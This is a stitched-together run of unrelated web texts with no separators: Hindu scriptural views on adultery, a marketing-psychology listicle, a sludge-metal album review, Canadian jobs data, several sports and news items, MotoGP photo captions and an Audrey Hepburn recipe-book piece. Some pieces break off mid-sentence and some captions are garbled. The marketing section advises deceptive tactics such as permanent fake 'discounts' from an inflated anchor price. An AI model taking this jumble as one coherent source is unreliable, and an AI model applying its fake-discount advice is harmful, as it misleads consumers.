Other dharmasastra texts describe adultery as a punishable crime but offer differing details.[99] According to Naradasmriti (12.61-62), it is an adulterous act if a man has sexual intercourse with the woman who is protected by another man. The term adultery in Naradasmriti is not confined to the relationship of a married man with another man's wife. It includes sex with any woman who is protected, including wives, daughters, other relatives, and servants. Adultery is not a punishable offence for a man if "the woman's husband has abandoned her because she is wicked, or he is eunuch, or of a man who does not care, provided the wife initiates it of her own volition", states Indologist Richard Lariviere.[108] According to the Hindu law scholar Robert Lingat, Brihaspati-smriti mention among other things adulterous local customs in ancient India and then states, "for such practices these (people) incur neither penance nor secular punishment".[109] Kautilya's Arthashastra includes an exemption that in case the husband forgives his adulterous wife, the woman and her lover should be set free. If the offended husband does not forgive, the Arthashastra recommends the adulterous woman's nose and ears be cut off, while her lover be executed.[110]
The Kamasutra, states Ludo Rocher, discusses adultery and Vatsyayana devotes "not less than fifteen sutras (1.5.6–20) to enumerating the reasons (karana) for which a man is allowed to seduce a married woman".[111] According to Wendy Doniger, the Kamasutra teaches adulterous sexual liaison as a means for a man to predispose the involved woman in assisting him, working against his enemies and facilitating his successes. It also explains the many signs and reasons a woman wants to enter into an adulterous relationship and when she does not want to commit adultery.[112] The Kamasutra teaches strategies to engage in adulterous relationships, but concludes its chapter on sexual liaison stating that one should not commit adultery because adultery pleases only one of two sides in a marriage, hurts the other, it goes against both dharma and artha.[110]
According to Werner Menski, the Sanskrit texts take a "widely different positions on adultery", with some considering it a minor offense that can be addressed with penance, but others treat it as a severe offense that depending on the caste deserves the death penalty for the man or the woman.[90] According to Ramanathan and Weerakoon, in Hinduism, the sexual matters are left to the judgment of those involved and not a matter to be imposed through law.[113]
According to Carl Olsen, the classical Hindu society considered adultery as a sexual transgression but treated it with a degree of tolerance.[114] It is described as a minor transgression in Naradasmriti and other texts, one that a sincere penance could atone.[114][115] Penance is also recommended to a married person who does not actually commit adultery, but carries adulterous thoughts for someone else or is thinking of committing adultery.[116]
Other Hindu texts present a more complex model of behavior and mythology where gods commit adultery for various reasons. For example, states Wendy Doniger, Krishna commits adultery and the Bhagavata Purana justifies it as something to be expected when Vishnu took a human form, just like sages become uncontrolled.[117] According to Tracy Coleman, Radha and other gopis are indeed lovers of Krishna, but this is prema or "selfless, true love" and not carnal craving. In Hindu texts, this relationship between gopis and Krishna involves secret nightly rendezvous. Some texts state it to be divine adultery, others as a symbolism of spiritual dedication and religious value.[118] The example of Krishna's adulterous behavior has been used by Sahajiyas Hindus of Bengal to justify their own behavior that is contrary to the mainstream Hindu norm, according to Doniger.[117] Other Hindu texts state that Krishna's adultery is not a license for other men to do the same, in the same way that men should not drink poison just because Rudra-Shiva drank poison during the Samudra Manthan.[117] A similar teaching is found in Mahayana Buddhism, states Doniger.[117]
Buddhism [ edit ]
Buddhist texts |
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Want more updates from Gizmodo UK? Make sure to check out our @GizmodoUK Twitter feed, and our Facebook page.Pricing Hacks
Pricing hacks are everywhere. Think about the items at the grocery store that are ALWAYS 50% off, the weekly sales retailers send out, and the number of product prices that end in “$.99” or “.97.”
Even though we are aware of these ubiquitous strategies, our brains still process them the same way. “$19.99” looks way better than “$20.00” and “$97” seems like a much better value than “$100.”
The list of pricing hacks could go on for ages, but here are a few to get you started:
Pretty Pricing
Less is more. When possible, avoid extra decimals. “$57” looks way better than “$57.00”
Round down and use 7’s and 9’s. “$27” is a much better value than “$30. “$99” is a way better value than “$100.”
Add Decoy Options to Increase Perceived Value
Let’s assume I’m selling TV’s and push the following two products:
Obviously, I want people to buy the more-expensive 60-inch model, but how do I accomplish that? Add a third product. Right now, there is a $200 gap in the price range – close the gap with a less desirable third option. Here’s how that looks:
All of a sudden, the 60-inch TV seems like a much greater value. It’s only $50 more than the 55-inch model!
This technique can be applied to digital services as well. Dan Ariely did a study where he surveyed MIT students on which pricing option they would choose if subscribing to The Economist. The choices were as follows:
Web Only: $59
Print and Web: $125
Only 32% of participants chose the “Print and Web” version. The prices were then manipulated as follows:
Web Only: $59
Print Only: $125
Print and Web: $125
Clearly, no one in their right mind would choose the “Print Only” option, but what happened to the sales of the “Print and Web” option. This time around, 84% of participants chose the “Print and Web” version, a 52% increase attributed to the simple addition of a third less-desirable option.
Price Anchoring
Value doesn’t exist; we create it. Sometimes we dictate value based on a product’s utility and how it benefits us and other times we compare it to other products. For example, you’d have a hard time selling cupcakes for $40 each because customers know they can get a way better deal elsewhere. That said, we don’t have this sixth sense for all products. How much should a supplement that improves your memory cost? You have no idea.
Price anchoring can be used to increase perceived value. We see this all of the time with MSRP’s. Have you ever actually bought a product at the MSRP? Companies can use the MSRP as an anchor and discount the product accordingly. The same technique can be applied to smaller businesses. So, you can either sell a memory supplement at $20 or price it at $40 and always sell it at a 50% discount.
Of course, you need to be careful because consumers aren’t stupid. Your price anchoring needs to be realistic and believable.
Price as a Reflection of Quality
Absent of other valuation criteria, people will use price to gauge the quality of a product. Think your immune because you’re a diligent shopper? You’re not. If you’ve ever gone shopping for a significant other, you may have faced this dilemma. I’ll admit that I know nothing about jewelry. That said, I’d feel more comfortable buying a $100 gift than a $20 one because I associate the price with quality, as do most people. So, how can marketers use this? Price your product higher!
For example, if I am creating an online business training course, I can price the product however I want. A course is a digital product with virtually zero variable costs. That said, it’s important to think about how the perception of price can affect the perceived quality of the course. If I price the course at $27, it may seem cheap. Whereas someone like Frank Kern will sell courses for $1,000+, you assume that there are some high-value secrets in the course.
Color Psychology
Do you think it’s just a coincidence that most “buy” buttons are bright yellow or orange? It’s not.
Every color triggers a different emotion in people. There’s a reason why lawyer’s websites aren’t smothered in shades of pink and most popular social media sites incorporate shades of blue. Colors are used to set the mood and a customer’s mood is very important when you want them to do something.
Similar to how a picture is worth a thousand words, colors can be used to define your brand. For example, a hotel site that uses darker colors like black and gray may have a “luxury” vibe, whereas another hotel site may use white and blue to give off a “value” vibe.
One thing is very important; do NOT overthink color psychology. If you spend hours split testing the color of the headline on your site that gets 1000 visitors/month, you are wasting valuable time. While this may make sense for goliath corporations, it’s not as effective for small businesses. Instead, be conscious of the basics.
Make sure colors are a) inline with your brand b) consistent and visually appealing and c) set the right mood for the desired customer behavior.
Us vs. Them Tactic
The “us vs. them” technique is a valuable copywriting tactic that can be used in a variety of marketing materials. You see this a lot in ad copy and calls to action. Here are some examples:
10 Things the Fast Food Industry Doesn’t Want You to Know
The One Product That’s Putting Dentists Out of Business
Say Goodbye to Greedy Lawyers and Hello to Pain-Free Contract Creation
This technique is effective because it introduces a controversy or problem, positions your brand on the side of the consumer, and puts your brand in the position to provide a solution.
The trick is knowing when to use it. Your pitch should hit on an existing customer pain point or introduce a realistic controversy that will resonate with people. For example, “Cream cheese companies are greedy” doesn’t really resonate with anyone because buying cream cheese is generally a painless, thoughtless process. Contrarily, “Tired of car mechanics ripping you off?” may trigger emotions within people who have had relatable experiences.
Use Associations
Associations can be used to piggyback off the positive sentiment of another product/place/thing/etc. Essentially, this is a form of classical conditioning and you’ll see many big brands using this tactic.
For example, beer companies always use attractive women in their ads. Men like attractive women, they start associating a particular beer with attractive women, and two minutes later they’re almost at the grocery store. Of course, this association needs to make sense. Whereas beer and women may go well together, you probably don’t want your doctor to reel you in using that tactic.
This approach doesn’t need to rely solely on our primitive desires. You can make associations at an intellectual level as well. For example, someone like Neil Patel is well-known and well-respected in the digital marketing community. If a digital marketing software used Neil’s picture on their website (with permission), you would assume they had a quality service. Your impression of Neil Patel is automatically associated with the service they are pitching. The same company could have spent hours trying to convince you of how great their service is, but a simple association speaks volumes.
Scarcity (vs. the Illusion of Scarcity)
Scarcity is a popular marketing tactic used to put pressure on customers by either limiting the amount of products available or limiting the time they are available for.
To understand this concept, just think about a basic supply/demand chart. The lower the supply, the higher the demand. We can illustrate this concept with a real-life example. When a brand new apartment building is constructed in New York city, which apartments do you think sell the fastest? Is it the ones with the best value? The views? Closest to amenities? None of the above. The penthouses go fastest because they are exclusive and limited.
When using the “scarcity” technique, marketers should avoid getting carried away with the illusion of scarcity. If customers don’t believe that a product is scarce, the whole technique is futile. If your company is promoting a sale and says there are only “10 products left” for weeks, your audience will eventually stop believing you and, ultimately, become immune to your marketing tactics.
For certain products and services, the illusion of scarcity works. For example, if the airline says that there are only 10 seats left, you aren’t going to take any chances by assuming they are toying with you. Dissimilarly, if a digital product says they are only selling 100 copies, do you really believe that they care going to kill their revenues after releasing 100 copies? While the “illusion of scarcity” tactic may work in this case, I don’t believe it’s sustainable long-term.
It’s also important to think about whether the “scarcity” technique makes sense for your product. It’s generally most effective when people have an emotional tie to the product or some type of impulse. For example, if discounted ticket pricing is only available for two days, it may incentivize customers to order sooner. Contrarily, if potatoes are only on sale for two days, I can’t say I’ll be rushing to the store.
Fill the Gap Between Actual States and Desired States
I think it’s fair to assume that most of us aspire to be better than we currently are. This isn’t to pessimistically assume that everyone is discontent with their position in life. Instead, it optimistically assumes that we are all ambitious creatures who are always looking to improve. This condition creates a gap between our actual states and our desired states.
For example, if you are looking to lose 10 pounds, your actual state is your current weight and your desired state is 10 pounds less than your current weight. The space in between those states is a gap, and that gap needs to be closed if we want to align our actual state with our desired state. So, how do we fill it? Think of closing the gap as a process of getting from Point A to Point B. In the example above, we could close the gap by dieting and exercising to lose weight. You may be wondering why this is relevant to marketers.
Marketers should be conscious of the disparity between a customer’s actual state and desired state. This allows a marketer to:
Craft marketing messages that appeal to a customer’s desired state (i.e. “Do you want to shed some extra pounds?”)
Use imagery that reflects a customer’s desired state (i.e. a physically fit person)
Push products that help people reach their desired state (i.e. meal plans, fitness routines, diet products, etc.)
Another powerful element of this gap between states is that it can be widened or narrowed by external influence. This can be done by introducing a new “want,” which moves the desired state higher. It can also be done by introducing a new “problem” which moves the actual state lower.
Let’s use cars as an example and assume I’m content with my current vehicle. A company may introduce a new “want” by promoting a car that has wi-fi, Apple CarPlay, and automatic parking features. This would increase the level of my desired state. The company could also introduce a problem that I didn’t know I had by mentioning that cars that are more than five years old get significantly lower gas mileage and may cost owners hundreds of dollars more in gas every year. This would decrease the level of my actual state by telling me that I’m worse off than I thought I was.
So, how can marketers actually apply these tactics?
The first step is understanding your customers at a psychological level. What do they desire most? What problems do they have? What problems do they have that they may not know about? What do they value? Try to understand your customers the same way you understand your friends and family. Then, remember these three rules
Lower the actual state by introducing a problem Raise the desired state by introducing a want Fill the gap with your product or service
Let’s start with a less sexy example, a dentist:
(Lower actual state) Educate people on the risks of not going to the dentist regularly (i.e. “you increase your chances of getting a cavity by X% for every X months you skip a dentist visit) (Raise desired state) Show customers the value of improving their teeth (i.e. “X% of women say they are more likely to go out with a man who has a glowing white smile”) (Close the Gap) Make the pitch for how a dentist visit can solve the problem and close the gap (i.e. “$50 teeth whitening services –whiter teeth after one visit” or “Check ups only $30 after co-pay – leave with a healthier mouth”)
We all have to go to the dentist, so the pitch is a little bit easier. Now, let’s look at an example of need generation. Let’s assume you are trying to sell a course that teaches people how to make money online.Quick Access
Review / Favorite Track / For Fans Of / Atmosphere Levels / Links (Music & Social)
SMOKE! DRINK! DIE!
I would be surprised to find someone familiar with the stoner/doom/sludge scene who has never heard of Dopethrone, but just in case, here is a little catch-up for you. Self-proclaimed “the heaviest D.I.Y. trio from Canada”, they’ve been working with small but nonetheless amazing label records – STB Records and Totem Cat Records – to put out some of the nastiest sludge on the market since 2008. To give you a rough idea of what they sound, take Weedeater and EyeHateGod, put them in a blender and add Electric Wizard’s first LPs for the psychedelic touch. So, yeah, I guess you could say that Dopethrone is pretty heavy.
HOCHELAGA by DOPETHRONE
Hochelaga is their fourth LP and you can clearly hear that they decided to take their sound up to the next level : the riffs are rawer and rougher than ever. The drums and the bass plough you non-stop, it’s like being trampled on by a herd of stoned mammoths. Vincent, who’s also the man behind those insane riffs, sounds like a freakin’ demon who swallowed burning coals along with a few pints of acid and the shittiest whisky he could find. And you won’t find any relief in their lyrics either – it’s all about addiction, despair and loneliness. But Dopethrone does not deliver mere sludge as they mix the genres a bit. If Chameleon Witch and Scum Fuck Blues are straight up sludge, Vagabong and Riff Dealer wander a bit into the psychedelic spheres and lead the listener high, high above the mud and the creepy forests full of fucked up psychopaths and drugged up bikers.
If you have a few minutes to spare, go watch the video for their song “Scum Fuck Blues” just below. It’s a montage of samples taken from old movies and documentaries from the 60’s and it’s the perfect visual embodiment of Dopethrone’s music : it’s disgusting, nasty and violent, but it also shows that the band doesn’t take too seriously what they do. To give you an idea of what I mean by that, between two samples displaying people being grossly murdered and tortured, you can see a guy making rails of cocaine with a machete – you can’t go more ludicrous than that. The Whore Church – the producers of the video – did a really great job capturing the essence of the band.
But the thing I find the most amazing about this pit of madness and heaviness is that you just cannot listen to this album without having a big smile on your face – and I swear it’s not because of the weed or the alcohol – the music is just too damn enjoyable. The whole thing makes you wanna go berserk and die in a blaze of booze, drugs and glory.
Something particular to note?
They are currently touring in Europe so if you can, I strongly recommend you to attend one of their shows : you won’t be disappointed. Trust me.Canada's economy gained 12K net new jobs in August, but the unemployment rate edged up to 7.0% as more people searched for work.The headline gain was driven by a big jump in full-time jobs (+54K), largely offset by losses in part-time work (-42K). Part-time hiring has been particularly weak in recent months.While the full-time hiring tally is encouraging, job gains were again concentrated in the public sector (+27K), while private sector hiring was more modest (+6K). Self-employment was down 22K jobs in August.
On an industry basis, the goods-producing sector continued to shed jobs (-5K). The resource sector managed a positive jobs tally in August, but losses were seen in construction (-4K), manufacturing (-3K) and utilities (-1K). In contrast, the services sector continued to drive hiring (+17K), with the healthiest gains seen in public administration (+14K), education (+11K) and business, building and other support services (+6K). Educational services hiring has been particularly strong over the past year, with Statistics Canada noting that most of the gains have been at postsecondary institutions.
On a regional basis, employment rose in Saskatchewan, Newfoundland and Labrador, Manitoba and New Brunswick in August, while the other provinces were little changed. Looking at trends over the past year, while the national unemployment rate is unchanged on a year-on-year basis at 7.0%, the unemployment rate has risen in six out of ten provinces (PEI, NB, AB, SK, QC & MB).
Wage growth remained strong in August. The average hourly wage rate (for permanent employees) is 3.4% higher than a year ago, maintaining July's pace. This is likely to come in well ahead of CPI inflation in the month, pointing to solid real wage gains. In another strong point, hours worked rebounded 0.8% in August after falling 0.4% in July.
A decent hiring tally in August is in line with other stronger readings we have seen recently from Canada's economy for the third quarter. A nice pick up in hours worked also bodes well for GDP in August. We are currently tracking a 2-2.5% pace for real economic growth in Q3.
Now the bad news. It is not a positive economic sign that the more cyclical industries like construction and manufacturing are shedding jobs. While it is good news that hiring in sectors like public administration and educational services are offsetting these losses for the time being, these gains are unlikely to be sustained, and expect hiring overall in Canada's economy to slow through the remainder of 2015.
"That said, there was little in the August job numbers to change the Bank of Canada's thinking ahead of its rate decision next Wednesday. Second quarter GDP growth came in right in line with the Bank's latest forecast, and non-energy exports are exhibiting the beginnings of a positive upswing. The Bank's outlook counts on strength in non-energy exports to help offset the downturn in the energy sector. The Bank has already cut interest rates twice to help cushion the blow from the downturn in the oil and gas sector, and we expect that as the economy returns to growth in Q3, it can sit tight with the overnight rate remaining at its current stimulative level "says TD Economics,The ACC has fined Florida State $20,000 for comments made by Jimbo Fisher in his postgame press conference about the officials after the Seminoles' 37-34 loss to Clemson on Saturday.
Fisher went off on the officiating from the game and was especially upset about a chop block call that negated a 50-yard run by Dalvin Cook in the fourth quarter.
"It's ridiculous, it's not a chop, it was not a chop. And I'm going to tell you what, you hold coaches accountable, players accountable, hold the damn officials accountable. It's garbage. And then to call another penalty on the sideline is even more garbage. It's cowardly, it's gutless and wrong," Fisher told reporters after the game.
"Now they can take it, fine it, do whatever they want to do with it, that's a fact. Look at the film. It's ridiculous that they do it. That was a huge call in the game. Now, [we] still had chances to win the game after that. That's ridiculous and the guy wasn't even in position to make it and plus it was 10 yards down the field so the penalty should have been marked from there, not from the line of scrimmage."
The ACC did not appreciate the comments and fined the school $20,000. Pittsburgh was fined $5,000 for comments made by coach Pat Narduzzi about the officiating in the Panthers' 39-36 loss to Virginia Tech.
From the ACC's release:
"Fisher and Narduzzi's postgame comments regarding officials were in direct violation of the ACC Sportsmanship Policy that states: 'Public criticism of officials or public comments evaluating the officiating of particular contests is not in the best interest of intercollegiate athletics. Individuals associated with the athletics program are prohibited, therefore, from commenting while acting in an official capacity on officiating other than directly to the Conference office.'"'Crowdsaucing' effort to bottle five tonnes of organic tomatoes
Posted
Five tonnes of organic tomatoes are being trucked to Melbourne as part of a push for the public to bottle their own passata.
Organic grocer CERES Fair Food is coordinating the effort, which it has dubbed "crowdsaucing".
Organiser Monique Miller said the campaign was born from the social enterprise's inability to sell local organic tinned tomatoes.
"Even we, who are an organic grocer, don't and can't stock organic canned Australian tomatoes — they just don't exist," Ms Miller told 774 ABC Melbourne's Rafael Epstein.
"There's one cannery left in Australia now and the growers that grow for them are all conventional farmers."
Profits go to environment park
CERES Fair Food has nominated April 30 as Crowdsaucing Day and is encouraging people to organise public or private tomato bottling events on that day.
The group has set up a website, crowdsaucing.org.au, where people can register to take part and purchase tomatoes.
"We have contracted a farmer to grow five tonnes of organic tomatoes for us," Ms Miller said.
The tomatoes will be delivered to registered events by CERES Fair Food, which funnels all its profits to the CERES Environment Park.
CERES, which stands for Centre for Education and Research in Environmental Strategies, is a 10-acre not-for-profit park and education centre built on a decommissioned tip in Brunswick East.
The park includes a bush food nursery, organic market, bike workshop, cafe and community kitchen — which is where a lot of the crowdsaucing will take place.
Ms Miller said a test event in October attempted to sauce 120 kilograms.
She said that event was the first time she had preserved tomatoes.
"It's really not that hard," she said.
The crowdsaucing website includes resources to help first-time sauce makers, including a video on how to sauce tomatoes if you have no equipment.
Food brings people together
People interested in taking part but cannot host an event can use the crowdsaucing website to find the public event nearest to them.
Ms Miller said while this was the first Crowdsaucing Day, the organisers hoped it would not be the last.
"Food is such a great connector and brings people together," she said.
"And preserving food is such a great way to understand seasonality."
Listeners messaging 774 ABC Melbourne's SMS line noted that groups of people coming together to preserve food was nothing new.
"How times have changed — as Italians we used to be ridiculed for this; well done to you all," one listener said.
Michelle in Eltham said her family had just joined with three others for their annual passata day.
"Eight boxes [of tomatoes] cooked in old beer bottles in a 44-gallon drum over an open fire — sauce for a year," she said.
Topics: food-and-cooking, human-interest, vegetables, community-organisations, brunswick-east-3057The 10th annual Testicle Festival, a celebration revolving around Rocky Mountain Oysters and the state of Montana, will be held this Saturday evening in Arlington’s Virginia Square neighborhood.
Running from 6:00 to 10:00 p.m. at the American Legion Post 139 (3445 Washington Blvd), “Testy Fest” will feature all-you-can-eat fried bull testicles prepared by Frank McGraw, “Montana’s most famous ball chef,” according to the festival’s organizer, the Montana State Society.
Tickets for the festival are $25 online and $30 at the door. In addition to the “oysters,” beer and Crown Royal whiskey will be served and there will be live country music performed by the Wil Gravatt Band.
Attendees must be 21 years or older. The first 100 in the door will get a free Testicle Festival T-shirt with this year’s theme, “Nuttin’ Better.” T-shirts will also be available for purchase.
“You’d be NUTS to miss this!” organizers said of the event.
File photo (above)Teuvo Teravainen is the Chicago Blackhawks' presumptive second-line center of the future — and that might be coming a little sooner than expected.
Teravainen, one of the best players outside the NHL and just 19 years old, is likely to get a shot with the Blackhawks at some point after his season with Jokerit of the Finnish Elite League ends, coach Joel Quenneville told 670 The Score. That could be during Chicago's regular season or the playoffs.
"He's really progressed. Reports are excellent on his development," Quenneville said. "Our people believe that he can help us. So we look forward to getting that opportunity."
The No. 18 overall pick in 2012, Teravainen is a small (5-10, 185), offensively gifted playmaker with 43 points in 47 games this season for Jokerit. After a solid training camp with Chicago, he led the World Junior championships in scoring and helped Finland win gold.
"He's a really talented player. Obviously, he had a really good training camp here with Chicago. We played against him a couple times," Pittsburgh Penguins forward Jussi Jokinen told Sporting News in January; Jokinen owns a Finnish junior team and played against Teravainen during the lockout.
"He just needs to get a little stronger, get a little more speed, and he'll be a good player here."
The Blackhawks, good as they are, could use Teravainen now; Michal Handzus is currently centering Patrick Kane and Patrick Sharp, which isn't ideal. Prospect Brandon Pirri started the season as a potential fit, but he was traded to Florida before the deadline.
If/when Teravainen comes over, Chicago's glut of defensemen will make more sense; Sheldon Brookbank would be sent down to clear cap space.Rep. Adam Schiff Adam Bennett SchiffHouse Democrats file legislation to ensure Mueller report released Hannity echoes Bill Maher, invites Schiff to appear on show Curtain rises on 3 days of Cohen drama MORE (D-Calif.) on Monday shot back at President Trump, calling the president's comments and actions "beneath the dignity" of his office.
"With respect Mr. President, the problem is how often you watch TV, and that your comments and actions are beneath the dignity of the office," Schiff tweeted.
With respect Mr. President, the problem is how often you watch TV, and that your comments and actions are beneath the dignity of the office. https://t.co/NvZydYbnyW — Adam Schiff (@RepAdamSchiff) July 24, 2017
Trump earlier in the day referred to Schiff, the senior Democrat on the House Intelligence Committee, as "sleazy" and "biased."
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"Sleazy Adam Schiff, the totally biased Congressman looking into 'Russia,' spends all of his time on television pushing the Dem loss excuse!" Trump tweeted.
Schiff during an interview on Sunday said Trump is concerned the special counsel investigation into Russian meddling in the 2016 presidential election could include his finances.Here are 10 feast-your-eyes photographs of MotoGP hardware taken this year by James Wirth. One through six, plus nine, are from July’s US Grand Prix at Mazda Raceway Laguna Seca, while seven, eight, and 10 are from the Grand Prix of The Americas at Circuit of The Americas. It’s fun to look deliberately from one feature to another, letting the details register. That’s when little things—some of them surprising—pop out.
1) This tunnel of Bridgestone MotoGP tires suggests the endless mystery of matching rubber to bikes and riding styles. Tom Sykes’ Kawasaki World Superbike crew chief, Marcel Duinker, told me, “I believe the top MotoGP riders have created a new riding style.” Bridgestones are huge and much stiffer than production tires, shod with rubber of an unusual character. Riders must very deliberately transfer load onto the tire to raise its surface temperature and force it to grip. But once the front is gripping on the way in, how do you shift its load to the rear when it’s time to accelerate?
2) Both Ducati and Yamaha have experimented with “abbreviated” top crowns in hope of their adding lateral flexibility down at the tire. Before that, Michael Czysz proposed this. Richard Stanboli of Attack Performance designed this crown for his elegant Kawasaki-powered CRT chassis, ridden at US rounds by Steve Rapp and Blake Young. Bikes must be stiff to be stable, yet laterally flexible to prevent what Wayne Rainey called “chatter, hop, and skating” while at high lean angle in bumpy corners. Flexibility gives “feel” that signals the edge is near.
3) With their network of sensors, sub-processors, and connectors, MotoGP bikes are coming to resemble living organisms. Think how many times a flaky computer is traced to a connector; on a vibrating motorcycle, Mil-Spec connectors are just the beginning. This forward-facing ram-air intake has the central splitter to guide the flow around the steering stem then into the engine airbox. Some things never change: The radiator screen stops the bigger pebbles (flung off sticky, spinning rubber) from causing a leak or hammering the fins flat. Note number 46 on the brake-lever guard.
4) Anyone remember when 35mm was a huge fork tube? These are surely 48s or even 50s. Riders don’t want the wishy-washy feeling of flubbery flexibility when they are braking; they need all the information the tire is sending, and stiffness transmits it. Get a load of the master cylinder: pale green line to the reservoir, banjo on the bottom to the caliper lines, and the forward-projecting line pressure sensor. Brake lever is hinged vertically to cut the danger of breakage in a get-off. See the two turns of stainless safety-wire wrapping the inner end of the throttle grip? Can’t have it slipping.
5) A busy piece of real estate here. That looks like part of the fuel tank just beyond the exhaust pipe, and as fuel is moved to the rear and downward (to make room above for the engine airbox), the suspension unit must retreat downward into the swingarm (Ducati’s finest carbon) and the swingarm’s bracing must move from top to bottom. Nice new chain, just fitted, white grease still on the rollers. That arc of sensors makes me think of infrared tire-temperature probes. Back in 1971, a colleague wryly said of a factory Kawasaki H1-R, “To get the spark plugs out, you have to take off the frame.” Even more true today.
6) Beautiful carbon-carbon brake disc and pads—same material used on ICBM re-entry vehicle nosecones. There’s the traction-control wheel-speed sensor under the axle. Brembo radial caliper is made of high-stiffness aluminum-lithium alloy 8090, giving a high and constant lever. Blue twist-lock hydraulic connector allows calipers with wet-weather pads already installed and a front wheel with steel discs to be quickly substituted. Accumulator for Öhlins fork on top (applies pressure to damper fluid to prevent cavitation), low-speed clickers below, silver and gold. Braking distances have become short.
7) What do you suppose is on page 2? Stock quotes? Miley Cyrus snaps? Keeping setup sharp depends on information. Engine is being warmed-up: Oil pressure is 97 psi (cold oil!), fuel pressure is 130 psi, oil temp is only 88 degrees Fahrenheit. Speed is zero, gear selected is zero, revs 3,349. It’s alive. The fluid reservoir for the hydraulic clutch is on the left. Just below the page 1 screen, you can make out the milled slots in the top fork crown. Invisible is the mechanic’s hand, turning the throttle, making that hard rhythm. Who can resist? The numbers go green. Time to swing a leg over and click into first.
8) There’s the rear-facing camera and its antenna. Dorna has 56 of these in the MotoGP program. Two pipes from the RC213V’s rear cylinders become one as they rise under the seat, then exit through this snail tail and megaphone. Yes, it’s tedious to make such a cut-and-weld pipe as this, but as Lolita said, “It’s kinda fun.” Colors on the titanium come from oxygen getting at the hot metal during welding, forming ceramic surface layers that act as interference filters. Pipe sections are held together with tension springs. The old rule was, if it cracks somewhere, put a joint there.
9) The high clutch results from length-saving, vertically stacked gearbox shafts. Clutch spins backward, as does the Yamaha YZR-M1 engine (there is a jackshaft). The yellow circle is the swingarm pivot. The suite of carbon-fiber shields protects the rider from heat (see the pipe spring, bottom left corner) and prevents his boot from snagging on the details. At top center is part of the black-painted fuel tank, which extends down and to the rear. Since 1961, Yamaha has lubricated racing gearboxes by pumped oil jets, not by the non-method called “splash.”
10) The other side of the tracks—the land of CRT bikes. The workmanship is no less excellent, but the complication, the clutter, is less. These bikes are powered by Superbike kit engines, sometimes further developed privately, and employ artisanal chassis made by firms such as FTR, Suter, and Kalex, priced at the 100,000-euro level (no, they’re not home-crafters). Other parts—brakes, controls, suspension, and wheels—come from the “international Tinkertoy set” via the usual makers. Top CRTs, such as the Aprilias and Colin Edwards’ Kawasaki-powered FTR (shown), have improved enough to now threaten the factory Ducatis. View images in photo gallery:
Intro image.
Photo #1 This tunnel of Bridgestone MotoGP tires suggests the endless mystery of matching rubber to bikes and riding styles. Tom Sykes? Kawasaki World Superbike crew chief, Marcel Duinker, told me,?I believe the top MotoGP riders have created a new riding style.? Bridgestones are huge and much stiffer than production tires, shod with rubber of an unusual character. Riders must very deliberately transfer load onto the tire to raise its surface temperature and force it to grip. But once the front is gripping on the way in, how do you shift its load to the rear when it?s time to accelerate?
Photo #2 Both Ducati and Yamaha have experimented with?abbreviated? top crowns in hope of their adding lateral flexibility down at the tire. Before that, Michael Czysz proposed this. Richard Stanboli of Attack Performance designed this crown for his elegant Kawasaki-powered CRT chassis, ridden at US rounds by Steve Rapp and Blake Young. Bikes must be stiff to be stable, yet laterally flexible to prevent what Wayne Rainey called?chatter, hop, and skating? while at high lean angle in bumpy corners. Flexibility gives?feel? that signals the edge is near.
Photo #3 With their network of sensors, sub-processors, and connectors, MotoGP bikes are coming to resemble living organisms. Think how many times a flaky computer is traced to a connector; on a vibrating motorcycle, Mil-Spec connectors are just the beginning. This forward-facing ram-air intake has the central splitter to guide the flow around the steering stem then into the engine airbox. Some things never change: The radiator screen stops the bigger pebbles (flung off sticky, spinning rubber) from causing a leak or hammering the fins flat. Note number 46 on the brake-lever guard.
Photo #4 Anyone remember when 35mm was a huge fork tube? These are surely 48s or even 50s. Riders don?t want the wishy-washy feeling of flubbery flexibility when they are braking; they need all the information the tire is sending, and stiffness transmits it. Get a load of the master cylinder: pale green line to the reservoir, banjo on the bottom to the caliper lines, and the forward-projecting line pressure sensor. Brake lever is hinged vertically to cut the danger of breakage in a get-off. See the two turns of stainless safety-wire wrapping the inner end of the throttle grip? Can?t have it slipping.
Photo #5 A busy piece of real estate here. That looks like part of the fuel tank just beyond the exhaust pipe, and as fuel is moved to the rear and downward (to make room above for the engine airbox), the suspension unit must retreat downward into the swingarm (Ducati?s finest carbon) and the swingarm?s bracing must move from top to bottom. Nice new chain, just fitted, white grease still on the rollers. That arc of sensors makes me think of infrared tire-temperature probes. Back in 1971, a colleague wryly said of |
of pasta to fancier foods.
“She was a simple country girl” says Dotti. “Her favorite dish was spaghetti with tomato sauce.”
As he writes in his book’s introduction, “Mum was adorable, of course, but I did not find her the least bit exciting.”
Dotti recalls how he was puzzled at 5 or 6 when journalists would ask him about “Audrey Hepburn.” “I’d say, ‘I don’t know who you are talking about. You must be mistaken. My mother is called Dotti,’ ” says Luca, a graphic artist and father of three who lives in Rome. “I didn’t know she was Audrey Hepburn until I was 6 or so.”
Luca – who has an older brother, Sean Ferrer (from Audrey’s first marriage to Mel Ferrer) – discovered her movies when they had a family movie night and his father screened Love in the Afternoon.
“Suddenly, there was my mother kissing Gary Cooper,” he recalls. “I remember perfectly because I was so embarrassed and I ran to my father and said, ‘Dad, this is serious. You should be upset. Mommy is kissing another man.’ So that explains how much I was aware that my mother could possibly be a movie star. I had no idea.”
Looking back, he says, his mother “wasn’t living her life as an icon. She didn’t live in a castle behind bars. She wasn’t driven in a limo. She was walking with her dog most of the time.”
“She stayed true to herself throughout her life,” says Luca, who’s donating a percentage of the book’s proceeds to the Audrey Heburn Children’s Fund. “It shows in how she lived her life and her choice of recipes. She never wanted to overdo. She wasn’t interested in making fancy, important dishes. She preferred dishes that were easy to make and healthy for her kids.”
“If you imagine my mother in fashion, she started with Givenchy and Valentino, but at that end of her life, she was happier in jeans and a T-shirt,” he notes. “It was the same in how she cooked at home. It was back to the basics. She didn’t have to impress anyone, really. It was what she loved and how she lived.”
For much more on Audrey Hepburn and some of her favorite recipes, pick up the latest issue of PEOPLE, on newsstands nowWhat may seem like a small story of interest merely to geeks and journalists shows that corporations do, in fact, tell their editors what they can say.
After the recently concluded Consumer Electronics Show in Las Vegas, during which companies show off many of the new year’s gadgets, 40 editors of the online news and reviews site CNET met to vote on their best in show awards. They decided that the best device they saw in the whole show was the Dish satellite network’s Hopper, a digital video recorder that can skip commercials and send recordings to your iPad.
But there was a problem. CNET is owned by CBS and CBS is suing Dish over that very device. CBS learned of the decision and ordered CNET to revote, excluding the Hopper from consideration.
CNET reviews editor Lindsey Turrentine writes in a post, “I could have quit right then. Maybe I should have. I decided that the best thing for my team was to get through the day as best we could and to fight the fight from the other side.”
